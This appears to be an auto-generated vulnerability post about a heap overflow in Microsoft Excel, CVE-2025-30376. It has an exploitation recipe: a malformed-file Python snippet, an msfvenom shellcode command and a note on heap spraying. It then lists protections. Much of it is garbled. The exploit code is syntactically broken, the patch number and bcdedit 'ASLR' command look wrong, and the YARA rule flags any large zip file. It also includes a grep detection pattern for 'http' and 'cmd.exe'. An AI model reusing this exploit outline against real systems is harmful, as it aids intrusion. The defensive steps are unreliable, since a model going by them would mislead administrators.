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How CVE-2025-30376 Works
A heap-based buffer overflow vulnerability exists in Microsoft Excel due to improper memory handling when parsing specially crafted spreadsheet files. Attackers exploit this by embedding malicious payloads in Excel documents, triggering memory corruption when processed. Successful exploitation allows arbitrary code execution under the victim’s privileges. The flaw occurs when Excel fails to validate data lengths during object loading, overwriting adjacent heap memory.
DailyCVE Form:
Platform: Microsoft Excel
Version: 2019/365
Vulnerability: Heap overflow
Severity: Critical
Date: 05/19/2025
What Undercode Say:
Exploitation:
1. Malicious Document Creation:
import struct
mal_xlsx = b"\x50\x4B\x03\x04" + b"A" 5000 Fake header + overflow payload
open("exploit.xlsx", "wb").write(mal_xlsx)
2. Shellcode Injection:
msfvenom -p windows/exec CMD="calc" -f raw > payload.bin
3. Heap Grooming:
Spray memory via VBA macros to align heap layout for reliable exploitation.
Protection:
1. Patch Application:
wusa /quiet /norestart KB4038788
2. Memory Protections:
Enable DEP and ASLR:
bcdedit /set {current} nx AlwaysOn
bcdedit /set {current} dynamicboot yes
3. Workarounds:
- Disable macros in Excel via Group Policy:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\16.0\Excel] "DisableVBA"=dword:00000001
4. Detection:
YARA rule for malicious XLSX files:
rule CVE_2025_30376 {
strings: $magic = {50 4B 03 04}
condition: $magic at 0 and filesize > 10MB
}
5. Forensics:
Extract embedded payloads from crash dumps:
strings -el core.dmp | grep "http|cmd.exe"
6. Mitigation:
Restrict Excel in AppLocker:
<RuleCollection Type="Exe"> <FilePathRule Action="Deny" Id="123" Name="BlockExcel"> <Conditions><FilePathCondition Path="C:\Program Files\Microsoft Office\Excel.exe"/></Conditions> </FilePathRule> </RuleCollection>
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
